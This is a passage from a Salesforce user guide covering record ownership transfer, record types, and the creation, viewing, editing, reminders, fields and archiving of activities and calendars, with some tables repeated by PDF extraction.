Note: If you change an account owner with both Transfer closed opportunities and Keep Sales Team deselected, the sales team members' access for closed opportunities becomes Private (that is, the sales team members lose access to any closed opportunities). 5. Click Save to finish. Note: After you change a record's owner, the previous owner's visibility reverts to the default sharing setting unless that user is on an account or sales team. For example, if the previous owner of an account is on an account team, that user has Read Only or the access specified in your organization-wide default for accounts, whichever is greater. The previous owner's access to related records remain the same. This behavior is the same for opportunity owners that are

96

Accounts

Changing Ownership

members of a sales team as long as you change ownership using the API. When you change ownership of an opportunity within Salesforce, you can select the access level you want.

Transfer of Associated Items


When you change record ownership, some associated items that are owned by the current record owner are also transferred to the new owner. Record Type Accounts Associated items that are also transferred Contacts, contracts with Draft status, attachments, notes, and open activities. Depending on your selections, this can also include open opportunities not owned by the current account owner, closed opportunities, open cases owned by the existing account owner, and closed cases. When a partner account is transferred, partner users associated with that account are moved into the role hierarchy beneath the new owner. Contracts with Activated status are not transferred to the new owner, however, the new owner has read-only access to these contracts. Contacts Opportunities Leads Cases Campaigns Contracts Custom objects Notes, attachments, and open activities Notes, attachments, and open activities Notes, attachments, and open activities. Open activities are not transferred if you change lead ownership using the Assign using active assignment rule checkbox. Notes, attachments, and open activities Attachments and open activities Notes, attachments, and open activities Notes, attachments, and open activities

Note: You can't transfer events to which you have been invited and don't own.

See Also:
Mass Transferring Records Assigning Leads Assigning Cases Changing Document Authors Editing Email Settings Territory Management Overview

97

Activities

Changing the Record Type Field

Changing the Record Type Field


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed To change the record type for a record: Edit on the object

Record types determine the picklist values that are available when creating and editing a record. When creating a record, you can choose the record type if you have different record types available to your profile and you have not set your record type preferences to bypass the record type selection page. When editing existing records, you can change the record type from the record detail page. 1. Click Change next to the Record Type field on a record detail page. Note: For campaign members, click Change next to the Campaign Member Type field on a campaign detail page. You must have the Marketing User user permission to change the campaign member type. 2. 3. 4. 5. Select a record type. The available record types are listed at the bottom of the page. Click Continue. Make any changes to the record. Click Save. Note: Changes are not saved until you click Save; clicking Continue does not save the record. If your organization uses person accounts, your administrator has configured two different kinds of record types for your organization's accounts: one for business accounts, and another for person accounts. You can change an account's record type only to another record type of the same kind. For example, you cannot change a person account record type to one designated for business accounts.

See Also:
Setting Record Type Preferences What is a Person Account?

ACTIVITIES
Activity Overview

98

Activities

Activity Overview

Available in: All Editions except Database.com

Activities include tasks, calendar events, and requested meetings. You can define and track activities for many different objects, including campaigns, accounts, contacts, and leads. Activities display in related lists on associated records as well as on the Home tab. Note: Administrators can modify activity fields and control the page layouts for tasks and events.

See Also:
Activity Accessibility Viewing Activities Creating Activities Editing Activities Deleting Activities Searching for Activities Activity Fields Tip sheet: Tips & Hints for Activities

Activity Accessibility
Available in: All Editions except Database.com

Viewing and editing tasks and events depends on a number of factors. Use the following table to determine who can access activities: To do this: View an activity You must: Be assigned to the activity, or Be above the user assigned to the activity in the role hierarchy, or Have at least read access to the record to which the activity is associated, or Have the View All object-level permission in the related record, where the sharing model for that record is Controlled By Parent, or Have the View All Data permission Have the Edit Tasks and Edit Events permissions

Create an activity

AND

99

Activities

Activity Accessibility

To do this:

You must: Have at least read access to a record, if associating the activity with another record Have the Edit Tasks and Edit Events permissions

Edit an activity

AND Be assigned to the activity, or Be above the user assigned to the activity in the role hierarchy, or Have the Modify All object-level permission in the related record, where the sharing model for that record is Controlled By Parent, or Have the Modify All Data permission Have the Edit Tasks and Edit Events permissions

Delete an activity

AND Be assigned to the activity, or Be above the user assigned to the activity in the role hierarchy, or Have the Modify All object-level permission in the related record, where the sharing model for that record is Controlled By Parent, or Have the Modify All Data permission Have the Edit Tasks and Edit Events permissions to create and edit activities

View, add, and edit events on other users calendars

AND Have access to the users calendar, which depends on your organization-wide calendar sharing defaults and how the user has set up individual calendar sharing. See Setting the Sharing Model on page 586 and Sharing Your Calendar on page 47. Note: Events marked as private via the Private checkbox are accessible only by the user assigned to the event. Other users cannot see the event details when viewing that users calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users calendars.

100

Activities

Viewing Activities

Tip: The user who is assigned to an activity in the Assigned To field is often referred to as the activity owner.

See Also:
Viewing Activities Editing Activities Deleting Activities

Viewing Activities
Available in: All Editions except Database.com

Activities include tasks and calendar events. Activities can display in the following locations: Home Tab Many users go to the Home tab to view their tasks and events. For more information, see Using Your Calendar and Tasks on the Home Page on page 53. Activity Feed (Chatter) Display a Chatter feed of updates, comments, and posts about the activity. Open Activities and Activity History Related Lists You can also view, create, and update activities from the Open Activities and Activity History related lists of an associated record. These related lists show all activities associated with the record, including activities that are assigned to other users. For more information, see Using the Open Activities Related List on page 107 and Using the Activity History Related List on page 108. Activity List Views To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My Tasks sections, contact your administrator to customize your home page layout. For more information, see Viewing Activity Lists on page 102. Reminder Window The reminder window pops up to notify you of upcoming activities. For more information, see Using the Activity Reminder Window on page 110. Console Administrators of Professional, Enterprise, Unlimited, and Developer Edition organizations can set up the console to include activities. Click the Console tab to display the console, which allows you to find, view, and edit activities and their associated records on one screen. For more information, see Displaying the Console Tab on page 2909. See the following for details on viewing activities:

101

Activities

Viewing Activity Lists

Viewing Your Calendar Viewing Event Details on page 128 Viewing Tasks on page 141

See Also:
Activity Accessibility Creating Activities Editing Activities Deleting Activities Activity Fields

Viewing Activity Lists


Available in: All Editions except Database.com

User Permissions Needed To view activities owned by you and users below you in the role hierarchy: To view all activities: No permissions needed View All Data

To display a list of activities for which you or your team is responsible for completing, click the activity list view icon ( ) below the calendar on the Home tab or at the top of a calendar view. If your Home tab does not display the Calendar or My Tasks sections, contact your administrator to customize your home page layout. Click an activity to view the detail. Click Edit or Del next to an activity subject to edit or delete a task. Click New Task or New Event to create a new activity. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. The following list views are provided by Salesforce: All Activities - Shows activities that you can view. In Personal Edition, the All Activities list view shows all of your activities. My Activities - Shows activities that you own. My Delegated Activities - Shows activities that you created but are owned by someone else. Note: Inviting other Salesforce users to an event or task is like delegating that activity to those users. So the My Delegated Activities list view also shows activities for all invited users even if you still own that activity. In the list view, the invited user appears as the person assigned to the activity but the activity's detail page shows you as the assignee. My Team's Activities - Shows activities owned by users who report to you in the role hierarchy. For your convenience, your team's activities are converted to your time zone.

102

Activities

Creating Activities

To edit or delete any view you created, select it from the View drop-down list and click Edit. Archived activities are not included in activity list views. See Using the Activity History Related List on page 108 for details on which activities are archived.

Sorting List Views


Click any column heading to sort in ascending or descending order using that columns information. At the top of the list, click a letter to display the contents of the sorted column that begin with that character.

See Also:
Viewing Activities Using Your Calendar and Tasks on the Home Page Working with Enhanced Lists Printing List Views Viewing Your Calendar Activity Accessibility Customizing User Interface Settings Using Inline Editing in Lists

Creating Activities
Available in: All Editions except Database.com

User Permissions Needed To create tasks: To create events: Edit Tasks Edit Events

You can create new activity records (tasks and events) from the following locations. Note: Unlike other records, you don't auto-follow events or tasks in Chatter after you create them.

In the sidebar In the sidebar, select Task or Event from the Create New drop-down list. On the home page On the Home tab, click New in the My Tasks section or New Event in the Calendar section. On the detail page of an associated record On the detail page of an associated record, click New Task, New Event, or New Meeting Request on the Open Activities related list. In addition, you can click Log a Call on the Activity History related list to add a new task record with a completed status.

103

Activities

Editing Activities

On a calendar view On a calendar view, click New Event to add a new event. In addition: On day views you can click New in the My Tasks section to add a new task. On day views you can click a time such as 9:00 AM to add an event at that time. On day and week views, you can double-click a time slot to create a new event. Your administrator controls the availability of this feature. Note that recurring events and multi-person events are not supported for click-and-create events on calendar views. On week and month views you can click the Add Event icon ( ) to add an event on a particular date.

On an activity list view On an activity list view, click New Task or New Event to create a new activity. To display an activity list view, click the activity list view icon ( ) below the calendar on the Home tab or at the top of a calendar view.

On account, contact, and lead list views On account, contact, and lead list views, click the Open Calendar link at the bottom of the page to display a weekly view of a calendar underneath the list. Then, you can drag a record from the list to a time slot on the calendar to quickly create an event associated with the record. Note that your administrator controls the availability of this feature. For more information, see Working with Drag-and-Drop Scheduling on page 140. Note: In Enterprise, Unlimited, and Developer Editions, your administrator defines the record types that you can select when creating an activity. Record types determine the picklist values and page layouts that are available when creating and editing a record.

See Also:
Creating Tasks Creating Events Viewing Activities Editing Activities Requesting a Meeting Using Cloud Scheduler

Editing Activities
Available in: All Editions except Database.com

User Permissions Needed To edit tasks: To edit events: Edit Tasks Edit Events

See the following for details on editing activities: Editing Tasks

104

Activities

Deleting Activities

Closing Tasks Editing Events Editing Multi-Person Events Editing Recurring Events Editing an Event in a Public or Resource Calendar

See Also:
Viewing Activities Creating Activities Deleting Activities Activity Fields

Deleting Activities
Available in: All Editions except Database.com Multi-person events are not available in: Personal Edition

User Permissions Needed To delete tasks: To delete events: Edit Tasks Edit Events

To delete an activity: Click Delete on the activity detail page, click Del from any activity list view or related list, or click Delete on the event detail overlay. Deleted tasks and events are moved to the Recycle Bin. Administrators can use Mass Delete to delete a group of activities or archived activities. See Deleting Mass Data on page 711. For multi-person events, only the event owner can delete the event. However, when you decline an event, the event is removed from your calendar. When an event owner deletes an event, all invited users receive an email notifying them that the event has been canceled. When deleting a recurring event or deleting a recurring task, you can either delete a single occurrence in the series or the entire series.

See Also:
Recycle Bin

105

Activities

Viewing Activity Updates (Chatter)

Viewing Activity Updates (Chatter)


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Display a Chatter feed of updates, comments, and posts about the activity. Note: If Chatter isn't enabled, contact your administrator.

Show or hide Chatter feeds using the Show Chatter and Hide Chatter links at the top of a feed. To view a single feed update, click the timestamp below the update, for example, Yesterday at 12:57 AM. To view the full feed, above the update, click All Updates.

Following Activities
When you follow an activity, your Chatter feed includes field changes and activity feed updates. Note: Unlike other records, you don't auto-follow events or tasks in Chatter after you create them.

To follow an activity, click Follow. To stop following, click Following . The Followers list shows you who is following the activity. To view a full list, click Show All. Note: You can't follow recurring events and tasks in Chatter, nor individual instances of recurring events and tasks. Changes to an individual event or task in a recurring series or to the series itself won't show up in your Chatter feed.

See Also:
Chatter Overview Using Chatter Feeds

Deleting Recurring Events


Available in: All Editions except Database.com

User Permissions Needed To delete recurring events: Edit Events

Only the event or series owner can delete an event or series of events. If you have been invited to an event or a series of events, to remove them from your calendar, decline the event or series of events. See Responding to Events on page 139 for more information.

106

Activities

Using the Open Activities Related List

To delete a single event in a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record, and then click the View Event subtab. Alternatively, mouse over the event in any calendar, and click Edit. 2. Click Delete Event. A warning dialog will be displayed. If you are sure you want to delete only this event in the series, click OK. Alternatively, hover your mouse over the event in a calendar. and click Delete in the event detail overlay. Note: When an event owner deletes a recurring event, all invited users receive an email notifying them that the event has been canceled. Deleted events are moved to the Recycle Bin. If they are restored, all the details of the event will be restored as well. To delete a series of events: 1. Select an event from the calendar on the Home tab or from the Open Activities or Activity History related list of a record. 2. Click the View Series subtab located above the task details, and click Delete Series. A warning dialog displays. If you are sure you want to delete every future occurrence in the series, click OK. Note: Consider the following when deleting a series of events: Deleting a series does not delete occurrences that have already happened. When an event owner deletes a series of recurring events, all invited users receive a single email notifying them that the series of events has been canceled. If a series is deleted and no events in the series occurred in the past, the series is placed in the Recycle Bin. Individual events that were part of the series are not placed in the Recycle Bin. If a series is deleted and it contains events that occurred in the past, the series is not placed in the Recycle Bin, and therefore it cannot be restored from the Recycle Bin. If you restore a series from the Recycle Bin, individual events will be created. Those individual events will have the details as defined by the series, as well as any event-specific details that were set on the event before the series was deleted.

Using the Open Activities Related List


Available in: All Editions except Database.com

The Open Activities related list displays: Open tasks Open events Requested meetings

These activities are displayed for a record and its associated records. For example, if you have a task related to a contact, that task displays in the Open Activities related list of the contact as well as the associated account. From the Open Activities related list: Click New Task or New Event to create an activity that is associated with the record.

107

Activities

Using the Activity History Related List

Click New Meeting Request to request a meeting with a contact, lead, or person account. Once you request a meeting, the calendar icon ( ) displays next to it. Click Edit to edit an activity. Click Cls to close a task. For more information, see Closing Tasks on page 147. Click Del to delete an event or requested meeting. Salesforce.com emails the invitees that the event or meeting was canceled. Click the subject of an activity to open the detail page of the activity.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page 1191. Note: For person account records, the related list includes activities that have the person account in either the Name or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's name. For more information, see What is a Person Account? on page 61.

See Also:
Using the Activity History Related List Viewing Activities

Using the Activity History Related List


Available in: All Editions except Database.com

The Activity History related list of a record displays all completed tasks, logged phone calls, saved interaction logs, expired events, outbound email, mass email, email added from Microsoft Outlook, and merged documents for the record and its associated records. In the Activity History related list, click: Log A Call to enter the results of unplanned phone calls and then schedule a follow-up task. Use this feature, along with scheduled events and tasks to track all activities for a record. Mail Merge to generate personalized documents using your data and Microsoft Word templates provided by your administrator. If you choose, the merged document is listed in the Activity History related list of the associated record. This button is not available for all types of records. For more information, see Sending Single Mail Merge Documents on page 2516. Send An Email to send an email to a contact or lead and associate the email with both the contact or lead and the displayed account, opportunity, case, or custom object. The email you send is automatically listed in the Activity History related list of the contact or lead. If the subject is longer than 100 characters, it is truncated with ellipses (...). When appropriate, it is also listed for the record associated with the email, such as the opportunity or case. This button is not available for all types of records. Compose Gmail to send an email to a contact or lead from your Gmail account. The email you send is automatically listed in the Activity History related list of the contact or lead. This button is only available if the Gmail Buttons and Links feature is enabled. If the Gmail to Salesforce feature is also enabled, the email you send is automatically listed in the Activity History related list of the contact or lead. See Using Gmail in Salesforce on page 311 for more information. Request Update to launch a contact update email to send to the selected contact. This email allows you to enter an introductory note asking the contact to update the contact information you have and send a reply with the updated

108

Activities

Setting Reminders on Activities

information. You can update your contact record when you receive the response. These emails and the mass Stay-in-Touch emails will be listed in the Activity History related list. View All to display a printable view of all completed activities. Note that the View All button only displays when there are records to view.

The subject of an activity to view its details.

If your organization has added the Case Activities related list to the View Cases page layout in the Self-Service portal and you have set the field-level security to visible for the Visible in Self-Service checkbox on activities, you can click the following: Make Public to display the completed activity in the activities related list on the case in the Self-Service portal. Make Private to hide the completed activity in the activities related list on the case in the Self-Service portal.

Your administrator can customize the fields and buttons that display in related lists; see Customizing Page Layouts on page 1191. Note: For person account records, the related list includes activities that have the person account in either the Name or Related to fields. As appropriate, the Name or Related to column in the related list displays the person's name. For more information, see What is a Person Account? on page 61.

See Also:
Using the Open Activities Related List About Archived Activities Viewing Activities Sending Email

Setting Reminders on Activities


Available in: All Editions except Database.com

User Permissions Needed To edit tasks: To edit events: Edit Tasks Edit Events

Salesforce can display popup reminders for upcoming tasks and events. Reminders notify the activity assignee of an upcoming task or event. The reminder displays in a small browser popup window when the activity assignee is logged in to Salesforce. When a user logs in, any reminders that have not been dismissed and reminders scheduled to occur since the last time the user logged out are shown in the reminder window. When you create or edit an event or task, you have an option to set a reminder on it. The reminder defaults to the time specified in your reminder settings. To set a reminder on a task:

109

Activities

Using the Activity Reminder Window

1. Create or edit a task. 2. Select the Reminder checkbox. 3. Choose the date and time for the reminder. You will be reminded of the task on that date and time. If you are setting the reminder for a recurring task series, the reminder applies to each occurrence in the series. 4. Click Save. To set a reminder on an event: 1. 2. 3. 4. Create or edit an event. Select the Reminder checkbox. Choose how long before the event that you want to be reminded. Click Save.

See Also:
Using the Activity Reminder Window Customizing Activity Reminders Viewing Activities Editing Activities

Using the Activity Reminder Window


Available in: All Editions except Database.com

Reminders display in a small browser popup window, called the reminder window. When you log into Salesforce, a sound plays and the reminder window automatically pops up if you have any task or event reminders that were triggered since you last logged in. While you're logged in, the reminder window opens whenever a reminder is triggered. The reminder window shows you: Up to 100 of the oldest reminders you haven't dismissed The type of activitytask or event The activity subject (click to see activity details) When the task is due or when the event is scheduled to start When the reminder is due or if it's overdue

When viewing reminders, task reminders are sorted by due date and event reminders are sorted by start date and time. Additionally, if Sort reminder window by due date is not set, the reminders display in the following order: 1. The task and event reminder date and time. 2. The task due date or the event start date and time. 3. Ascending alphabetical order by subject. If Sort reminder window by due date is set, the reminders display in the following order: 1. The task due date or the event start date and time; if the task has no due date, then it displays first. 2. The task and event reminder date and time.

110

Activities

Searching for Activities

3. Ascending alphabetical order by subject. Use the table to determine what's shown as the task due date or event start time. Activity Type Task If you specified: A due date No due date Event An event time An all day event The Due Date or Start time shows: The date you selected when creating or editing the task. The value None. The date and time you selected when creating or editing the event. The date you selected and the time set in the Start of day field in your Personal Information Settings page.

When viewing the reminder window, you can choose to dismiss or snooze one or more reminders. To dismiss all reminders in the window, click Dismiss All. After you click Dismiss All, the window will display any reminders that were not previously in the window due to the 100 reminder limit. To dismiss a reminder: 1. Select one or more reminders. 2. Click Dismiss. To snooze a reminder: 1. Select one or more reminders. 2. In the drop-down list, select one of the snooze options. The default snooze option is to remind you again in five minutes. 3. Click Snooze. If you close the reminder window, it will open again when you are notified of the next reminder. Note: If your reminder popups fail to display, ensure that your browser is not blocking them.

See Also:
Setting Reminders on Activities Customizing Activity Reminders Viewing Activities

Searching for Activities


Available in: All Editions except Database.com

1. Enter your search terms in the sidebar or header search box. If you're using the sidebar, click Advanced Search... to find matches in additional fields.

111

Activities

Activity Fields

2. Click Search. 3. From the search results, click an item to open it or click Edit, if available. Note: Archived activities are accessible in Advanced Search and Global Search only.

See Also:
Search Overview Viewing Activities

Activity Fields
The available fields vary according to which Salesforce Edition you have.

An activity has the following fields, listed in alphabetical order. Depending on your page layout and field-level security settings, some fields may not be visible or editable. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)

See Also:
Viewing Activities Activity Overview

Event Fields
Field
Activity Currency

Description The default currency for all currency amount fields in the activity. Amounts display in the activity currency, and are also converted to the user's personal currency. Available only for organizations that use multiple currencies. Checkbox that specifies whether event lasts all day. Assigned owner of event. By default, the event is assigned to the creator. To assign the event to another user, enter a user's name, or select a user with the lookup icon. This field is not available in Personal Edition. Contact or lead associated with the event. You can enter the name of the person or use the lookup icon to select the name. This only displays if you have the Read permission for that

All Day Event Assigned To

Contact or Lead

112

Activities

Activity Fields

Field

Description type of record; users with sharing access to the record can click it to view more details.

Create Recurring Series of Events Created By

Allows you to set up a series of recurring events. User who created the event including creation date and time. (Read only) Planned date of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. This field appears only if multiday events are disabled; see Customizing Activity Settings on page 1241.

Date

Description

Text note describing event. This field can hold up to 32KB of data. Division to which the activity belongs. This value is automatically inherited from the related account, lead, case, or custom object, if any. Otherwise, the activity belongs to the global division. Available only in organizations that use divisions to segment their data. The length of a timed event in hours and minutes. This field appears only if multiday events are disabled; see Customizing Activity Settings on page 1241.

Division

Duration

Email

The email address of the contact or lead associated with the event. This field is automatically filled in with the value from the corresponding contact or lead record. Planned end date and time of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Additionally, you can add the current time by clicking the time link next to the field. This field appears only if multiday events are enabled; see Customizing Activity Settings on page 1241.

End

Event Record Type

Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Edition. User who last changed the event, including modification date and time. (Read only) Location of the event. The phone number of the contact or lead associated with the event. This field is automatically filled in with the value from the corresponding contact or lead record.

Last Modified By

Location Phone

113

Activities

Activity Fields

Field
Private

Description Indicates whether users other than the event owner can see the event details when viewing the event owner's calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users' calendars. Exported data files will always contain private events. Cannot be set for multi-person events or when adding or modifying an event in another user's calendar. Private events cannot be associated with opportunities, accounts, cases, campaigns, contracts, leads, or contacts. The record that the event is associated with such as an account, opportunity, or custom object. This only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. This option is not available when you associate the event with a lead instead of a contact. Optional field that allows users invited to an event to enter a note when they accept or decline the event. This field is not available in Personal Edition. Picklist that determines how this event appears when another user views your calendar: busy, out of office, or free time. Planned start date and time of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Additionally, you can add the current time by clicking the time link next to the field. This field appears only if multiday events are enabled; see Customizing Activity Settings on page 1241.

Related To

Response

Show Time As

Start

Subject

Entry describing subject of activity, for example, Meeting. You can enter a subject, or select from a list of previously defined subjects. Time of a planned event. You can add the current time by clicking the time link next to the field. This field appears only if multiday events are disabled; see Customizing Activity Settings on page 1241.

Time

Type

Type of the event, for example, Email, Meeting. Each picklist value can have up to 40 characters. Checkbox that specifies whether the completed event is visible in the Self-Service portal.

Visible in Self-Service

114

Activities

Activity Fields

Task Fields
Field
Activity Currency

Description Default currency for all currency amount fields in the activity. Amounts display in the activity currency, and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign independent copies of a new task to multiple users, see Creating Group Tasks on page 144. Text note describing the task. This field can hold up to 32KB of data. Allows you to set up a series of recurring tasks. Selecting this checkbox automatically disables the Due Date field because each task occurrence in a series will have a different due date. User who created the task including creation date and time. (Read only) Division to which the activity belongs. This value is automatically inherited from the related account, lead, case, or custom object, if any. Otherwise, the activity belongs to the global division. Available only in organizations that use divisions to segment their data. Date when the task should be completed. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Email address of the contact or lead associated with the task. This field is automatically filled in with the value from the corresponding contact or lead record. User who last changed the task, including modification date and time. (Read only) Contact or lead associated with the task. You can enter the name of the person or use the lookup icon to select the name. This field only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. Phone number of the contact or lead associated with the task. This field is automatically filled in with the value from the corresponding contact or lead record.

Assigned To

Comments

Create Recurring Series of Tasks

Created By

Division

Due Date

Email

Last Modified By

Name

Phone

115

Activities

Event Fields

Field
Priority

Description Urgency of the task, for example, Low, Medium, or High. (Picklist selections can be customized by your administrator.) Record that the task is associated with such as an account or opportunity. This field is not available when you associate the task with a lead instead of a contact. This field only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. Checkbox that sends an automated email to the task assignee to notify him or her that the task was assigned. This option is not available in Personal Edition. Current status of task, for example, Not Started or Completed. (Picklist selections can be customized by your administrator.) Subject or short description of the task, for example, Email quote to customer. You can enter a subject, or select from a picklist of previously defined subjects. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Edition. Type of task, for example, Email, Meeting. Each picklist value can have up to 40 characters. Checkbox that specifies whether the completed task is visible in the Self-Service portal.

Related To

Send Notification Email

Status

Subject

Task Record Type

Type

Visible in Self-Service

Event Fields
Field
Activity Currency

Description The default currency for all currency amount fields in the activity. Amounts display in the activity currency, and are also converted to the user's personal currency. Available only for organizations that use multiple currencies. Checkbox that specifies whether event lasts all day. Assigned owner of event. By default, the event is assigned to the creator. To assign the event to another user, enter a user's name, or select a user with the lookup icon. This field is not available in Personal Edition. Contact or lead associated with the event. You can enter the name of the person or use the lookup icon to select the name.

All Day Event Assigned To

Contact or Lead

116

Activities

Event Fields

Field

Description This only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details.

Create Recurring Series of Events Created By

Allows you to set up a series of recurring events. User who created the event including creation date and time. (Read only) Planned date of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. This field appears only if multiday events are disabled; see Customizing Activity Settings on page 1241.

Date

Description

Text note describing event. This field can hold up to 32KB of data. Division to which the activity belongs. This value is automatically inherited from the related account, lead, case, or custom object, if any. Otherwise, the activity belongs to the global division. Available only in organizations that use divisions to segment their data. The length of a timed event in hours and minutes. This field appears only if multiday events are disabled; see Customizing Activity Settings on page 1241.

Division

Duration

Email

The email address of the contact or lead associated with the event. This field is automatically filled in with the value from the corresponding contact or lead record. Planned end date and time of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Additionally, you can add the current time by clicking the time link next to the field. This field appears only if multiday events are enabled; see Customizing Activity Settings on page 1241.

End

Event Record Type

Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Edition. User who last changed the event, including modification date and time. (Read only) Location of the event. The phone number of the contact or lead associated with the event. This field is automatically filled in with the value from the corresponding contact or lead record.

Last Modified By

Location Phone

117

Activities

Event Fields

Field
Private

Description Indicates whether users other than the event owner can see the event details when viewing the event owner's calendar. However, users with the View All Data or Modify All Data permission can see private event details in reports and searches, or when viewing other users' calendars. Exported data files will always contain private events. Cannot be set for multi-person events or when adding or modifying an event in another user's calendar. Private events cannot be associated with opportunities, accounts, cases, campaigns, contracts, leads, or contacts. The record that the event is associated with such as an account, opportunity, or custom object. This only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. This option is not available when you associate the event with a lead instead of a contact. Optional field that allows users invited to an event to enter a note when they accept or decline the event. This field is not available in Personal Edition. Picklist that determines how this event appears when another user views your calendar: busy, out of office, or free time. Planned start date and time of event. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Additionally, you can add the current time by clicking the time link next to the field. This field appears only if multiday events are enabled; see Customizing Activity Settings on page 1241.

Related To

Response

Show Time As

Start

Subject

Entry describing subject of activity, for example, Meeting. You can enter a subject, or select from a list of previously defined subjects. Time of a planned event. You can add the current time by clicking the time link next to the field. This field appears only if multiday events are disabled; see Customizing Activity Settings on page 1241.

Time

Type

Type of the event, for example, Email, Meeting. Each picklist value can have up to 40 characters. Checkbox that specifies whether the completed event is visible in the Self-Service portal.

Visible in Self-Service

118

Activities

Task Fields

Task Fields
Field
Activity Currency

Description Default currency for all currency amount fields in the activity. Amounts display in the activity currency, and are also converted to the users personal currency. Available only for organizations that use multiple currencies. Assigned owner of task. By default, the task is assigned to the creator. To assign the task to another user, enter a users name, or select a user with the lookup icon. This field is not available in Personal Edition. To assign independent copies of a new task to multiple users, see Creating Group Tasks on page 144. Text note describing the task. This field can hold up to 32KB of data. Allows you to set up a series of recurring tasks. Selecting this checkbox automatically disables the Due Date field because each task occurrence in a series will have a different due date. User who created the task including creation date and time. (Read only) Division to which the activity belongs. This value is automatically inherited from the related account, lead, case, or custom object, if any. Otherwise, the activity belongs to the global division. Available only in organizations that use divisions to segment their data. Date when the task should be completed. You can enter a date, or choose a date from the calendar that displays when you put your cursor in the field. Email address of the contact or lead associated with the task. This field is automatically filled in with the value from the corresponding contact or lead record. User who last changed the task, including modification date and time. (Read only) Contact or lead associated with the task. You can enter the name of the person or use the lookup icon to select the name. This field only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. Phone number of the contact or lead associated with the task. This field is automatically filled in with the value from the corresponding contact or lead record.

Assigned To

Comments

Create Recurring Series of Tasks

Created By

Division

Due Date

Email

Last Modified By

Name

Phone

119

Activities

About Archived Activities

Field
Priority

Description Urgency of the task, for example, Low, Medium, or High. (Picklist selections can be customized by your administrator.) Record that the task is associated with such as an account or opportunity. This field is not available when you associate the task with a lead instead of a contact. This field only displays if you have the Read permission for that type of record; users with sharing access to the record can click it to view more details. Checkbox that sends an automated email to the task assignee to notify him or her that the task was assigned. This option is not available in Personal Edition. Current status of task, for example, Not Started or Completed. (Picklist selections can be customized by your administrator.) Subject or short description of the task, for example, Email quote to customer. You can enter a subject, or select from a picklist of previously defined subjects. Name of the field that determines what picklist values are available for the record. Available in Enterprise, Unlimited, and Developer Edition. Type of task, for example, Email, Meeting. Each picklist value can have up to 40 characters. Checkbox that specifies whether the completed task is visible in the Self-Service portal.

Related To

Send Notification Email

Status

Subject

Task Record Type

Type

Visible in Self-Service

About Archived Activities


Available in: All Editions except Database.com

Salesforce archives activities according to these conditions. Events with a due date greater than 365 days old Closed tasks with a due date greater than 365 days old Closed tasks without a due date and created more than 365 days ago

Additional considerations for activity archiving: Archiving occurs weekly at approximately 5:00 AM Greenwich Mean Time (GMT) on Saturday. Archived activities can be viewed only in export files, printable view, or by clicking View All on the Activity History related list. You can also view an archived activity if you know the URL for the activity. Administrators can delete archived activities using Mass Delete.

120

Activities

Viewing Your Calendar

Archived tasks are not included in reports. However, you can report on open or completed tasks.

See Also:
Searching for Activities Using the Activity History Related List

WORKING WITH CALENDARS


Viewing Your Calendar
Available in: All Editions except Database.com

Accessing Your Calendar You can access your calendar from the following locations: The Home tab For more information, see Using Your Calendar and Tasks on the Home Page on page 53. The Calendar shortcut in the sidebar that opens your last used calendar view Your Salesforce administrator must enable this shortcut. For more information, see Customizing Activity Settings on page 1241. The detail page of an event or task, which includes calendar icons at the top An activities list view, which includes calendar icons at the top

Using the Calendar Icons Click the following icons to navigate your calendar: Item Description Day View icon. See Using the Calendar Day View on page 123. Week View icon. See Using the Calendar Week View on page 125. Month View icon. See Using the Calendar Month View on page 125. Single User View icon. Displays a user's calendar, a public calendar, or a resource calendar. Multi-User View icon. Displays several users' calendars. See Using Multi-User Calendar Views on page 128.

121

Activities

Viewing Your Calendar

Item

Description Activity list view. See Viewing Activity Lists on page 102. Previous arrow. Click to change the view to the previous day, week, or month, as appropriate. Next arrow. Click to change the view to the next day, week, or month, as appropriate. Pick a Date icon. Click to open a popup dialog where you can choose a specific date.

Note: Events and tasks that are part of a recurring series are marked with a recurrence icon ( ) The multi-person event icon ( ) identifies events with invitees. Multi-person events aren't available in Personal Edition.

Using Calendar Views See the following topics for information on how to use different calendar views: Using the Calendar Day View Using the Calendar Week View Using the Calendar Month View Using Multi-User Calendar Views

